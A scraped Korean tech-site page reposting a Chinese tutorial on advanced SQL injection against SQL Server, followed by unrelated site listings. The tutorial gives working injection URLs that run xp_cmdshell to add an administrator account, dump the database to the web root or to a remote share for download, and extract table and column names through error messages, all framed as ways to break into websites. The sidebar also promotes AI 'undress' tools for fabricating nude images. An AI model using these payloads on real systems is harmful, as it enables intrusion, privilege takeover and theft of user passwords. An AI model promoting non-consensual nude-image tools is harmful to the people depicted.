데이터 베이스 MySQL 튜토리얼 SQL注入漏洞全接触--高级篇(一)_MySQL

SQL注入漏洞全接触--高级篇(一)_MySQL

Jun 01, 2016 pm 01:56 PM
어때요? 성공률

看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。  

  第一节、利用系统表注入SQLServer数据库  

  SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:  

  ① http://Site/url.ASP?id=1;exec master..xp_cmdshell “net user name password /add”--

  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:  

  ② http://Site/url.ASP?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.ASP?id=1 ;;and db_name()>0  

  前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。  

  ④ http://Site/url.ASP?id=1;backup database 数据库名 to disk=’c:/inetpub/wwwroot/1.db’;--  

  这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如//202.96.xx.xx/Share/1.db),但成功率不高。

  ⑤ http://Site/url.ASP?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0  

  前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。  

  ⑥ http://Site/url.ASP?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0 

  从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

Video Face Swap

Video Face Swap

완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

win10 LTSC 버전의 평가는 어떻습니까? win10 LTSC 버전의 평가는 어떻습니까? Dec 25, 2023 pm 04:25 PM

많은 친구들이 win10ltsc 버전이 좋은지 아닌지 확신하지 못합니다. 사실 이 버전은 다른 버전에 비해 매우 좋습니다. 소프트웨어가 매우 깨끗하고 다른 중복된 앱이 없기 때문에 여전히 비교적 좋습니다. win10ltsc 버전은 어떻습니까? A: 상대적으로 말하면 win10ltsc 버전은 여전히 ​​매우 좋습니다. 내용이 매우 깨끗하고 청결함을 좋아하는 친구들이 다운로드하기에 매우 적합합니다. Win10 LTSC 버전의 주요 장점 개요: 장점 1: 이 버전은 추가 응용 프로그램, Edge 브라우저 및 Cortana를 제거하여 간소화된 기능을 완전히 시연하고 사용자 오작동으로 인한 불필요한 간섭을 방지합니다. 동시에 서비스가 더욱 단순화되고 실행 속도도 그에 따라 향상됩니다. 장점 2: 1. 대부분의 경우

Windows 10 Enterprise 2016 Long Term Service Edition에 대한 전반적인 평가는 어떻습니까? Windows 10 Enterprise 2016 Long Term Service Edition에 대한 전반적인 평가는 어떻습니까? Jan 15, 2024 pm 03:18 PM

win10에는 선택해서 사용할 수 있는 시스템이 많이 있습니다. 그 중 win10 enterprise 버전 2016 장기 서비스 버전은 기능이나 모든 면에서 비교적 사용하기 쉬운 시스템 버전입니다. 이 시스템 버전은 매우 유용하다고 할 수 있습니다. win10 Enterprise 버전 2016 장기 서비스 버전은 어떻습니까? 답변: 성능이 매우 좋습니다. 이 제품은 기업 수준의 고객을 위해 특별히 설계되었으며 안정적이고 효율적이며 매우 안전한 컴퓨팅 환경을 구축하기 위해 최선을 다하고 있습니다. win10 엔터프라이즈 버전 2016 장기 서비스 버전 소개 1. 보증: Windows 2016 엔터프라이즈 버전 장기 서비스는 사용자에게 최대 5년 동안 완전한 주류 지원과 동일한 기간의 심층적 확장 지원을 진심으로 제공합니다. 2. 시스템에는 모든 수준에서 확인되었습니다

한 기사에서 분석한 POLYDOGE 코인의 미래 잠재력은 무엇인가요? 한 기사에서 분석한 POLYDOGE 코인의 미래 잠재력은 무엇인가요? Jul 15, 2024 pm 05:24 PM

POLYDOGE 코인의 정식 영어 이름은 PolyDoge입니다. 실제로 이 Polydoge는 폴리곤에 대한 밈 커뮤니티 토큰입니다. Polydoge를 주제로 한 NFT가 발행되었으며 Netvrk와 협력하여 PlaytoEarn 게임을 개발하기 시작했습니다. POLYDOGE는 Polygon 네트워크에서 탄생한 토큰이며 체인의 첫 번째 밈 코인이기도 합니다. 불과 며칠 전에는 크로스체인이 되었으며 Crypto.com의 Cronos 네트워크에서 찾을 수 있습니다. 유명한 바이낸스 스마트 체인도 곧 출시될 것이라는 소문이 있습니다. 많은 투자자들이 이 POLYDOGE 코인의 미래 잠재력이 무엇인지 알고 싶어합니까? 그 내용은 아래에서 알려드릴게요

EDU 코인은 어떻습니까? 아직도 가치가 있나요? EDU 코인은 어떻습니까? 아직도 가치가 있나요? Jul 11, 2024 pm 05:05 PM

블록체인 기술은 널리 사용되고 많은 산업의 구조를 변화시켰지만 아직 교육 분야에서는 개발 및 적용되지 않았습니다. 이러한 배경에서 바이낸스에서 EDU 코인 판매가 시작된 후 개발되었습니다. 2023년 런치패드, 차용한 프로젝트가 강력하게 발전하여 커버리지와 영향력을 확대한 이 EDU 코인에 투자자들이 더욱 주목해 보시는 것은 어떨까요? 일부 투자자들은 통화에 투자하기로 결정하기 전에 10월에 사상 최저치인 0.3748달러에 도달했다는 사실을 발견했습니다. 이로 인해 투자자들은 EDU 통화가 여전히 가치가 있는지 걱정하게 되었습니다. 실제로 현재 데이터에 따르면 EDU 통화는 여전히 좋고 특정 투자 가치가 있습니다. 편집자는 이에 대해 아래에서 자세히 설명합니다. EDU 코인은 어떻습니까? 현재 EDU 화폐의 실적은 나쁘지 않습니다.

Xiaomi 4 휴대폰은 어떻습니까? 최신 Xiaomi 4 소개? Xiaomi 4 휴대폰은 어떻습니까? 최신 Xiaomi 4 소개? Mar 24, 2024 pm 01:31 PM

최근 국내에서 생산되는 휴대폰은 가격 대비 성능이 매우 높은 다양한 플래그십 휴대폰과 '천위안 휴대폰'이 출시되는 등 점점 더 강력해지고 있습니다. Zhifu는 여전히 Xiaomi에 대해 매우 낙관적입니다. Huawei를 따라잡을 수 있을까요? 자, 이번 주제는 Xiaomi 4입니다. Xiaomi 휴대폰 4에는 Qualcomm Snapdragon 801(V3) 프로세서가 탑재되어 있습니다. 3GB RAM과 16/64GB ROM이 있습니다.(당시 대부분의 메모리는 1/2GB로 유지됩니다.) 이 구성은 당시에는 강력한 것으로 간주되었습니다. 1300만 화소 SonyIMX214, 800만 화소 전면 카메라, 화면은 5인치 1080p 입니다.

Edge 브라우저는 win7에서 어떻게 작동합니까? Edge 브라우저는 win7에서 어떻게 작동합니까? Dec 27, 2023 pm 03:51 PM

엣지 브라우저는 마이크로소프트가 새롭게 개발한 브라우저로, 기존 IE 브라우저와는 완전히 다른 브라우저로, 일부 사용자는 작동 후 엣지 브라우저를 사용할 수도 있다. 당신에게. 답변: Edge 브라우저는 이전에 논란이 되었던 IE 브라우저와 완전히 다르기 때문에 꽤 좋습니다. 또한 다른 코드와 최적화 알고리즘을 사용하며 성능도 더 뛰어납니다. 엣지 브라우저에는 사용자가 브라우저에서 직접 낙서를 할 수 있는 그래피티 모드도 추가됐다. 읽기 모드는 사용자가 자신의 페이지 레이아웃을 설정할 수 있을 뿐만 아니라 광고가 없으며 글꼴과 배경도 사용할 수 있어 더욱 편리합니다.

13600kf와 Gigabyte b760의 페어링(11700k는 Gigabyte Xiaodiao와 페어링)을 어떻게 평가합니까? 13600kf와 Gigabyte b760의 페어링(11700k는 Gigabyte Xiaodiao와 페어링)을 어떻게 평가합니까? Jan 02, 2024 am 08:35 AM

13600kf와 기가바이트 b760을 페어링해보면 어떨까요? 1. 조합 효과가 좋습니다. 2. 13600kf는 인텔의 고성능 프로세서이고, 기가바이트 b760은 안정적인 성능을 갖춘 마더보드이기 때문에, 이 둘의 조합은 프로세서의 성능을 최대한 발휘하고 원활한 컴퓨팅 및 게임 경험을 제공할 수 있습니다. 3. 또한 Gigabyte b760은 확장성과 안정성이 뛰어나며 다양한 하드웨어 장치의 연결 및 작동을 지원할 수 있어 사용자에게 더 많은 선택권과 편의성을 제공합니다. 따라서 13600kf와 Gigabyte b760을 페어링하면 고성능 컴퓨팅 및 게임에 대한 사용자 요구를 충족할 수 있을 뿐만 아니라 안정성과 신뢰성도 뛰어납니다. 13600kf, 기가바이트 b760과 짝을 이루는 것이 상대적으로 좋은 선택입니다. 13600kf가 가성비 좋습니다

ABS 코인은 어떻습니까? ABS 코인은 투자할 가치가 있나요? ABS 코인은 어떻습니까? ABS 코인은 투자할 가치가 있나요? Jul 16, 2024 pm 12:00 PM

ABS 통화의 전체 영어 이름은 Autobusd입니다. 실제로 AutoBUSD 프로젝트는 ABS 토큰의 특수 프로젝트입니다. 이 프로젝트의 목적은 금을 자동으로 거래하는 것입니다. 이 프로젝트는 가격 추세를 분석할 수 있을 뿐만 아니라 가격 추세의 방향을 읽을 수 있어 사용자가 거래를 구매 또는 판매하고 이익을 얻거나 삭감하기 위해 포지션을 마감하는 결정을 내릴 수 있도록 도와줍니다. 또한 이 프로젝트의 모든 손실은 자동으로 수행되므로 수동 지침이 필요하지 않습니다. 그렇다면 ABS 코인은 정확히 어떤 것인가요? 많은 투자자들이 ABS 코인이 투자할 가치가 있는지 알고 싶어합니까? 아래에서 이에 대해 말씀드리겠습니다. ABS 코인은 어떻습니까? 편집자의 조사에 따르면 거래소에 상장된 ABS 프로젝트의 수가 0으로 돌아왔으므로 더 이상 A를 구매할 수 없습니다.

See all articles